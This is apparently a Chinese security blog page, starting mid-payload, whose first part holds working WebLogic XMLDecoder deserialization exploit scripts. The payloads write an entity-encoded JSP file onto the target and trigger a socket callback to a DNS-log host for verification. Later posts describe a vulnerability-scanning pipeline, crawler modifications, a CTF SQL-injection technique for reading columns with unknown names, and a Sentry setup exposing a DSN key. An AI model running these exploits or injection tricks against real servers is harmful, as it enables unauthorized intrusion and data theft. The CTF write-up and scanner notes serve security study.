77;&#x61;&#x72;&#x64;&#x69;&#x6e;&#x67;&#x20;&#x61;&#x64;&#x64;&#x72;&#x65;&#x73;&#x73;&#x2e;&#x3c;&#x2f;&#x46;&#x4f;&#x4e;&#x54;&#x3e;&#x3c;&#x2f;&#x50;&#x3e;&#xa;&#x3c;&#x2f;&#x46;&#x4f;&#x4e;&#x54;&#x3e;&#x3c;&#x2f;&#x54;&#x44;&#x3e;&#x3c;&#x2f;&#x54;&#x52;&#x3e;&#xa;&#x3c;&#x2f;&#x54;&#x41;&#x42;&#x4c;&#x45;&#x3e;&#xa;&#xa;&#x3c;&#x2f;&#x42;&#x4f;&#x44;&#x59;&#x3e;&#xa;&#x3c;&#x2f;&#x48;&#x54;&#x4d;&#x4c;&#x3e;&#x3c;&#x25;&#x72;&#x65;&#x73;&#x70;&#x6f;&#x6e;&#x73;&#x65;&#x2e;&#x73;&#x65;&#x74;&#x53;&#x74;&#x61;&#x74;&#x75;&#x73;&#x28;&#x34;&#x30;&#x34;&#x29;&#x3b;&#x25;&#x3e;</string></void><void method="close"/>
            </object>
        </java>
      </java>
    </work:WorkContext>
  </soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'''
        try:
            response = requests.post(exp_url, data=payload.replace('bb1fe939c9ec5',random_file),headers=self.headers, timeout=60, verify=False,allow_redirects = False)
        except Exception, e:
            self.result.error = str(e)
            return

        if response.status_code == 404:
            return

        nurl = self.option.url+'/bea_wls_internal/bb1fe939c9ec5.jsp'
        self.print_debug(nurl.replace('bb1fe939c9ec5',random_file))
        try:
            rep = requests.get(nurl.replace('bb1fe939c9ec5',random_file),headers=self.headers,timeout=60, verify=False,allow_redirects = False)
            if rep.status_code == 404 and 'c99482e7295f219d4d2bb1fe939c9ec5' in rep.content:
                path = re.findall(r'value="(.*?) id="',rep.content)
                if path:
                    self.print_debug(path)
                    self.result.status = True
                    self.result.description = "目标 {url} 存在WebLogic的WLS组件存在xmldecoder反序列漏洞,\n服务器的路径是{path},\n测试的payload为: \n{payload}".format(
                        url=exp_url,
                        path = path[0],
                        payload = payload.replace('bb1fe939c9ec5',random_file)
                    )
        except Exception as e:
            self.result.error = str(e)
            return

    def verify(self):
        payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
  <soapenv:Header> 
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
      <java> 
        <void class="java.net.Socket"> 
          <string>{host}.tscan.xxxx.info</string>
          <int>3000</int>
        </void> 
      </java> 
    </work:WorkContext> 
  </soapenv:Header>  
  <soapenv:Body/> 
</soapenv:Envelope>'''
        exp_url = ("{domain}/wls-wsat/CoordinatorPortType".format(domain=self.option.url))
        newurlparse = urlparse(self.option.url)
        host = newurlparse.netloc.replace(':','_').replace('.','_')+'_'+str(randint(1000,9999))
        self.print_debug(host)
        try:
            resp = requests.get(exp_url,headers=self.headers,timeout=60, verify=False,allow_redirects = False)
            if resp.status_code == 404:
                return
        except Exception as e:
            self.result.error = str(e)
            return
        self.print_debug(payload.format(host=host))
        try:
            response = requests.post(exp_url, data=payload.format(host=host),headers=self.headers, timeout=60, verify=False,allow_redirects = False)
        except Exception, e:
            self.result.error = str(e)
            return

        time.sleep(3)
        try:
            verify_url = "http://0cx.cc/api.php?apikey=xxxxxxxxxxxx&action=dnslog&domain={host}"
            self.print_debug(verify_url.format(host=host))
            verify_rep = requests.get(verify_url.format(host=host),timeout=60, verify=False,allow_redirects = False)
            if verify_rep.content.find(host)!=-1:
                self.result.status = True
                self.result.description = "目标 {url} 存在WebLogic的WLS组件存在xmldecoder反序列漏洞, 测试的payload为: \n{payload}".format(
                    url=exp_url,
                    payload = payload.format(host=host)
                )
            else:
                self.verify_shell()
        except Exception as e:
            self.result.error = str(e)
            return
        finally:
            clearurl = "http://0cx.cc/api.php?apikey=xxxxxxxxxxxx&action=clearlog&domain={host}"
            self.print_debug(clearurl.format(host=host))
            requests.get(clearurl.format(host=host),timeout=60, verify=False,allow_redirects = False)

    def exploit(self):
        self.verify()

附上自用检测脚本

# -*- coding: utf-8 -*-
import re
import requests
from urlparse import urlparse
from random import randint

headers={
    'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding':'gzip, deflate',
    'Cookie':'wp-settings-time-1=1506773666',
    'SOAPAction': "",
    'Content-Type':"text/xml"
    }
def check_shell(domain):
    exp_url = ("{domain}/wls-wsat/CoordinatorPortType".format(domain=domain))
    payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java><java version="1.4.0" class="java.beans.XMLDecoder">
            <object class="java.io.PrintWriter">
                <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/bb1fe939c9ec5.jsp</string><void method="println">
                    <string>&#x3c;&#x25;&#x40;&#x20;&#x70;&#x61;&#x67;&#x65;&#x20;&#x6c;&#x61;&#x6e;&#x67;&#x75;&#x61;&#x67;&#x65;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x22;&#x20;&#x70;&#x61;&#x67;&#x65;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x69;&#x6e;&#x67;&#x3d;&#x22;&#x67;&#x62;&#x6b;&#x22;&#x25;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x46;&#x69;&#x6c;&#x65;&#x22;&#x2f;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x4f;&#x75;&#x74;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x22;&#x2f;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x46;&#x69;&#x6c;&#x65;&#x4f;&#x75;&#x74;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x22;&#x2f;&#x3e;&#x3c;&#x69;&#x6e;&#x70;&#x75;&#x74;&#x20;&#x74;&#x79;&#x70;&#x65;&#x3d;&#x22;&#x68;&#x69;&#x64;&#x64;&#x65;&#x6e;&#x22;&#x20;&#x70;&#x61;&#x74;&#x68;&#x3d;&#x22;&#x3c;&#x25;&#x3d;&#x61;&#x70;&#x70;&#x6c;&#x69;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x2e;&#x67;&#x65;&#x74;&#x52;&#x65;&#x61;&#x6c;&#x50;&#x61;&#x74;&#x68;&#x28;&#x22;&#x2f;&#x22;&#x29;&#x20;&#x25;&#x3e;&#x22;&#x3e;&#x3c;&#x25;&#x72;&#x65;&#x73;&#x70;&#x6f;&#x6e;&#x73;&#x65;&#x2e;&#x73;&#x65;&#x74;&#x53;&#x74;&#x61;&#x74;&#x75;&#x73;&#x28;&#x34;&#x30;&#x34;&#x29;&#x3b;&#x25;&#x3e;</string></void><void method="close"/>
            </object>
        </java>
      </java>
    </work:WorkContext>
  </soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'''
    try:
        response = requests.post(exp_url, data=payload,headers=headers, timeout=60, verify=False,allow_redirects = False)
        if response.status_code == 404:
            return
        shell_url = ("{domain}/bea_wls_internal/bb1fe939c9ec5.jsp".format(domain=domain))
        rep = requests.get(shell_url,headers=headers,timeout=60, verify=False,allow_redirects = False)
        if rep.status_code==404 and "path=" in rep.content:
            get_path = re.findall(r'path="(.*?)"',rep.content)
            if len(get_path)>0:
                print domain+"\tsuccess\t"+get_path[0]
    except Exception as e:
        print str(e)
        return False

def check_dnslog(host):
    verify_url = "http://0cx.cc/api.php?apikey=xxxxxxxxxxxx&action={action}&domain={host}"
    try:
        verify_rep = requests.get(verify_url.format(host=host,action='dnslog'),timeout=60, verify=False,allow_redirects = False)
        if verify_rep.content.find(host)!=-1:
            return True
    except Exception as e:
        return False
    finally:
        requests.get(verify_url.format(host=host,action='clearlog'),timeout=60, verify=False,allow_redirects = False)

def verify(domain):
    exp_url = ("{domain}/wls-wsat/CoordinatorPortType".format(domain=domain))
    newurlparse = urlparse(domain)
    host = newurlparse.netloc.replace(':','_').replace('.','_')+'_'+str(randint(1000,9999))

    payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
  <soapenv:Header> 
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
      <java> 
        <void class="java.net.Socket"> 
          <string>{host}.tscan.xxx.info</string>
          <int>3000</int>
        </void> 
      </java> 
    </work:WorkContext> 
  </soapenv:Header>  
  <soapenv:Body/> 
</soapenv:Envelope>'''
    try:
        resp = requests.get(exp_url,headers=headers,timeout=60, verify=False,allow_redirects = False)
        if resp.status_code == 404:
            return
        response = requests.post(exp_url, data=payload.format(host=host),headers=headers, timeout=60, verify=False,allow_redirects = False)
    except Exception as e:
        print str(e)
        return
    if check_dnslog(host):
        print domain+"\tsuccess"
    else:
        check_shell(domain)

def main(host):
    if host.startswith('http'):
        domain = host
    else:
        domain = "http://"+domain
    verify(domain.strip('/'))

if __name__ == "__main__":
    import sys
    if len(sys.argv)>=2:
        main(sys.argv[1])
    else:
        print "python %s http://www.baidu.com" % (sys.argv[0])

整合了一个wvs11的扫描

发布时间:July 14, 2017 // 分类:开发笔记,linux,python,windows // 14 Comments

最近忙里偷闲的整合了一个wvs11的扫描脚本。主要是借助了nmap和wvs11_api来实现。大概就是酱紫

主要是三台机器.
一台centos做子域名爆破+端口扫描+数据收集.
另外两台windows做wvs接收任务并启动扫描

关于wvs11的api之前有做过介绍
http://0cx.cc/about_awvs11_api.jspx
具体的利用方式以及导出为xml格式的报告。最后对xml进行处理的脚本都在
https://github.com/0xa-saline/acunetix-api

域名爆破修改自lijiejie的subDomainsBrute。加入第三方的收集,以及在端口扫描之前对ip进行处理.就是同c段的取最大和最小的来强制加入中间段的扫描.
https://github.com/0xa-saline/subDomainsBrute

端口扫描主要依赖是nmap。这里调用的是python-nmap
http://0cx.cc/solve_bug_withe-python-nmap.jspx
http://0cx.cc/some_skill_for_quen.jspx

主要是来判断端口以及对应的服务.如果出现来http/https的服务以后直接放入wvs里面扫描

部分插件调用的是bugscan的扫描脚本
http://0cx.cc/which_cms_online.jspx

其实主要的服务扫描则是非常漂亮的fenghuangscan.字典的加载方式则是参考了bugscan的加载。可以依赖于域名来切割加入字典

大概有这么一些服务类

多数是弱口令检测以及弱服务类型.

主要是把任务推送到wvs。看到wifi万能钥匙src放出来一些测试域名。测试来几个..

修改了一个爬虫htcap

发布时间:June 24, 2017 // 分类:开发笔记,代码学习,python // No Comments

修改htcap的数据库为mysql

好懒..拖延症.....本来早两个月以前就应该完成了的东西.在基友的催促下匆忙的修改了一下.修改了一个爬虫htcap,这个爬虫强大之处就是基于PhantomJS 实现的.数据库本来这个是基于sqlite3的.本屌感觉这个爬虫其实功能还是不错的.于是就修改了数据库为mysql.还稍微增加了一些功能

大概新增的功能如下

0.禁止dns刷新缓存 done

1.修改htcap的数据库为mysql done

2.增加常见统计代码和分享网站的过滤功能 done

3.增加常见静态后缀的识别 done

4.获取url在原有的robots基础上增加目录爆破和搜索引擎采集.识别一些不能访问的目录 done

5.砍掉sqlmap和Arachni扫描功能. done

6.增加页面信息识别功能.

7.增加重复去重和相似度去重功能

列举说明下

0x00.禁止dns刷新缓存

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket  
import requests
_dnscache={}  
def _setDNSCache():  
    """ 
    Makes a cached version of socket._getaddrinfo to avoid subsequent DNS requests. 
    """  

    def _getaddrinfo(*args, **kwargs):  
        global _dnscache  
        if args in _dnscache:  
            print str(args)+" in cache"  
            return _dnscache[args]  

        else:  
            print str(args)+" not in cache"    
            _dnscache[args] = socket._getaddrinfo(*args, **kwargs)  
            return _dnscache[args]  

    if not hasattr(socket, '_getaddrinfo'):  
        socket._getaddrinfo = socket.getaddrinfo  
        socket.getaddrinfo = _getaddrinfo  



def test(url):  
    _setDNSCache()  
    import time
    start = time.time()
    requests.get(url)
    end = time.time()
    print "first \t"+str(end-start)
    requests.get(url)
    sect = time.time()
    print "second \t"+str(sect - end)
    requests.get(url)
    print "third \t"+str(time.time() - sect)


if __name__ == '__main__':  
    url = "http://testphp.vulnweb.com"
    test(url)  

执行的结果还是比较满意

('0cx.cc', 80, 0, 1) not in cache
first   1.11360812187
('0cx.cc', 80, 0, 1) in cache
second  0.933846950531
('0cx.cc', 80, 0, 1) in cache
third   0.733961105347

但是又不是每一次都是ok的

('github.com', 443, 0, 1) not in cache
first   1.77086091042
('github.com', 443, 0, 1) in cache
second  2.0764131546
('github.com', 443, 0, 1) in cache
third   3.75542092323

不过这个方案虽好,但也有缺陷,罗列如下:
1.相当于只对socket.getaddrinfo打了一个patch,但socket.gethostbyname,socket.gethostbyname_ex还是走之前的策略
2.只对本程序有效,而修改/etc/hosts将对所有程序有效,包括ping

0x01.修改htcap的数据库为mysql

vi core/lib/DB_config.py
    #数据库信息
    'host' : 'localhost',
    'user' : 'root',
    'port' : '3306',
    'password' : 'mysqlroot',
    'db' : 'w3a_scan',

0x02.增加常见统计代码和分享网站的过滤功能

    def urlfilter(self):
        IGNORE_DOMAIN = [   #强制过滤域名.常见的bat和一些统计分享类的网站
            'taobao.com','51.la','weibo.com','qq.com','t.cn','baidu.com','gravatar.com','cnzz.com','51yes.com',
            'google-analytics.com','tanx.com','360.cn','yy.com','163.com','263.com','eqxiu.com','','gnu.org','github.com',
            'facebook.com','twitter.com','google.com'
        ]

....
and so on

测试站testphp.vulnweb.com

效果如下

1.没有做采集以及没有去重处理

. . initialized, crawl started with 10 threads
[=================================]   66 of 66 pages processed in 8 minutes
Crawl finished, 66 pages analyzed in 8 minutes


2.没有做采集和但是去重处理

3.做采集以及去重处理

. initialized, crawl started with 10 threads
[=================================]   108 of 108 pages processed in 43 minutes
Crawl finished, 108 pages analyzed in 43 minutes

ps:
采集前后的区别 66 108
去重前后的区别 85 65

唯一的缺点就是PhantomJS这玩意太特么占内存了..

https://github.com/0xa-saline/htcap_mysql

PS:因为PhantomJS作者不再维护PhantomJS项目了..估计这个也不会继续更新了

另外,不承担解决该爬虫导致的bug的问题

Mysql巧妙绕过未知字段名的技巧

发布时间:May 29, 2017 // 分类:转帖文章,mysql // No Comments

DDCTF第五题,绕过未知字段名的技巧,这里拿本机来操作了下,思路很棒也很清晰,分享给大家。题目过滤空格和逗号,空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括号都可以绕过,逗号使用join绕过;

存放flag的字段名未知,information_schema.columns也将表名的hex过滤了,即获取不到字段名;这时可以利用联合查询,过程如下:

思想就是获取flag,让其在已知字段名下出现;

mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+-------+----------+-------------+
| 1 | 2     | 3        | 4           |
+---+-------+----------+-------------+
| 1 | 2     | 3        | 4           |
| 1 | admin | admin888 | 110@110.com |
| 2 | test  | test123  | 119@119.com |
| 3 | cs    | cs123    | 120@120.com |
+---+-------+----------+-------------+
4 rows in set (0.01 sec)

mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
| 4           |
+-------------+
| 4           |
| 110@110.com |
| 119@119.com |
| 120@120.com |
+-------------+
4 rows in set (0.03 sec)

mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;

+-------------+
| 4           |
+-------------+
| 120@120.com |
+-------------+
1 row in set (0.01 sec)

mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+----------+----------+-------------+
| id          | username | password | email       |
+-------------+----------+----------+-------------+
| 1           | admin    | admin888 | 110@110.com |
| 120@120.com | 1        | 1        | 1           |
+-------------+----------+----------+-------------+
2 rows in set (0.04 sec)

from:secquan

基于docker的sentry搭建过程

发布时间:April 13, 2017 // 分类:运维工作,开发笔记,linux,windows,python,生活琐事 // 2 Comments

最近拜读董伟明大牛的《python web实战开发》发现他推荐了一个神器sentry.恰好不久前还在和小伙伴讨论如何记录try--except的异常信息。发现刚好可以用上.

** 简介 **

Sentry’s real-time error tracking gives you insight into production deployments and information to reproduce and fix crashes.---官网介绍
Sentry是一个实时事件日志记录和汇集的日志平台,其专注于错误监控,以及提取一切事后处理所需的信息。他基于Django开发,目的在于帮助开发人员从散落在多个不同服务器上的日志文件里提取发掘异常,方便debug。Sentry由python编写,源码开放,性能卓越,易于扩展,目前著名的用户有Disqus, Path, mozilla, Pinterest等。它分为客户端和服务端,客户端就嵌入在你的应用程序中间,程序出现异常就向服务端发送消息,服务端将消息记录到数据库中并提供一个web节目方便查看。

** 安装 **
通过官方文档https://docs.sentry.io/ 可以得知,安装服务有两种方式,一种是使用Python,这种方式个人感觉比较麻烦。于是选择了第二种方式:使用docker[官方更加推荐]

这种方法需要先安装** docker **和 ** docker-compose **

0x01 安装docker
0x02 安装docker-compose
0x03 获取sentry
0x04 搭建sentry

我本地安装过了docker和docker-compose.直接从第三步开始

git clone https://github.com/getsentry/onpremise.git

获取到本地之后,就可以根据他的README.md开始着手搭建了,整个过程还是比较顺利的。

** step 1.构建容器并创建数据库和sentry安装目录 **

mkdir  -p data/{sentry,postgres}

** step 2.生成secret key并添加到docker-compose文件里 **

sudo docker-compose run --rm web config generate-secret-key

这个过程时间有点长。其间会提示创建superuser,用户名是一个邮箱,这个邮箱今后会收到sentry相关的消息,口令可以随便设置,只要自己记得住就可以了。

最后会在命令行输出一串乱七八糟的字符(形如:** z#4zkbxk1@8r*t=9z^@+q1=66zbida&dliunh1@p–u#zv63^g ** )
这个就是 secretkey,将这串字符复制到docker-compose.yml文件中并保存.取消SENTRY_SECRET_KEY的注释,并把刚刚复制的字符串插入其中,类似如下

** step 3.重建数据库,并创建sentry超级管理员用户 **

sudo docker-compose run --rm web upgrade

创建用户,sentry新建的时候需要一个超级管理员用户

** step 4.启动所有的服务 **

sudo docker-compose up -d


至此sentry搭建完成!

实际效果

from raven import Client
client = Client('http://f4e4bfb6d653491281340963951dde74:10d7b52849684a32850b8d9fde0168dd@127.0.0.1:9000/2')
    def find_result(self, sql,arg=''):
        try:
            with self.connection.cursor() as cursor:
                if len(arg)>0:
                    cursor.execute(sql,arg)
                else:
                    cursor.execute(sql)
                result = cursor.fetchone()
                self.connection.commit()
                return result

        except Exception, e:
            client.captureException()
            print sql,str(e)

print sql,str(e)

输出错误

client.captureException()

记录的错误日志

分类
最新文章
最近回复
  • 没穿底裤: 最近发现的新版本可以装在LINUX了。但是API有点变化
  • 没穿底裤: 暂时好像没有看到这个功能.
  • 没穿底裤: 这个只是一个分析,并不是使用方法哟
  • 没穿底裤: 抱歉,很久没有打理了。会不会你使用的是12版本。目前还没有遇到过这种情况
  • bao song: http://0cx.cc/php_decode_shell.jspx 这个怎么用,代码提示...